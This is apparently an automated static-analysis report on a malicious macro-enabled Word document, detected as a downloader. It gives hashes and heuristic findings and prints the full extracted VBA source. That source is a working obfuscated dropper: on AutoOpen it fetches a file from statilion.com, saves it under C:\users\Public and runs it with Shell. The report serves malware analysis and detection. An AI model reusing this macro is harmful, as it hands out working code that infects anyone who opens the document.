Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bd60e16aeff7b951…

MALICIOUS

Office (OOXML)

139.8 KB Created: 2021-02-07 17:10:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-19
MD5: cd1801897646cd4ff352983c19509cf0 SHA-1: d2c9b5e883a10f4478cb75f46c1fb5f353726760 SHA-256: bd60e16aeff7b951d496f64de9ae56c27efe4e3ff1dacae0a0648279ac677bbd
290 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.BlueWord-9845926-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BlueWord-9845926-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
          f = VarSelectIndex.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          Set VarSelectIndex = CreateObject(GenericClearGlobal)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2193 bytes
SHA-256: 24d56e7cb6c0f43132ff8d4c249bac6c023e0af8cc1a8cc1c2805e211fc1445b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
 InstrumentationUtil.CheckBox1_Click
End Sub

Attribute VB_Name = "InstrumentationUtil"
Attribute VB_Base = "0{DED8BE19-8EDD-4481-A589-563B966BE7B0}{818D2A96-3437-4E8F-A469-63F8871669C1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public DeletePointer
Public CopySize
Public SizeFuncOption

Public Sub CheckBox1_Click()
 ListBox1.AddItem (CommandButton1.Tag)
 ListBox1.AddItem (CheckBox1.Tag)
 CommandButton1_Click
 ListBox1_Click
End Sub



Private Sub CommandButton1_Click()
ListBox1.AddItem (Image1.ControlTipText)
ListBox1.AddItem ("://statilion.com/header.jpg")
End Sub


Private Sub ListBox1_Click()
InstrumentationUtil.DeletePointer = "C:\users\Public\" + "ttl.jpg"
 InstrumentationUtil.CopySize = "http"
 InstrumentationUtil.SizeFuncOption = "GET"
 RightVar = 1
 
 Dim VarSelectIndex As Object
 Dim GlobalCounterRef As Object
 

 For Each GenericClearGlobal In ListBox1.List
    If RightVar = Len("Z") Then
      Set VarSelectIndex = CreateObject(GenericClearGlobal)
      VarSelectIndex.Open InstrumentationUtil.SizeFuncOption, InstrumentationUtil.CopySize & ListBox1.List(3), False
      VarSelectIndex.Send
    End If
    
    If RightVar = Len("ZZ") Then
      Set GlobalCounterRef = CreateObject(GenericClearGlobal & "am")
      GlobalCounterRef.Open
      GlobalCounterRef.Type = Len("Z")
      f = VarSelectIndex.ResponseBody
      GlobalCounterRef.Write f
      GlobalCounterRef.SaveToFile InstrumentationUtil.DeletePointer, 2
    End If
    
    If RightVar = Len("ZZZ") Then
      Shell% (GenericClearGlobal + " " & InstrumentationUtil.DeletePointer)
    End If
    
    RightVar = RightVar + 1
 Next
End Sub

Private Sub skuid_Change()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 99328 bytes
SHA-256: e953959e7df7a6755115a28358c03164c8846f2bba3f56098c6871dab2f57b02
Detection
ClamAV: Doc.Downloader.BlueWord-9845926-0
Obfuscation or payload: unlikely

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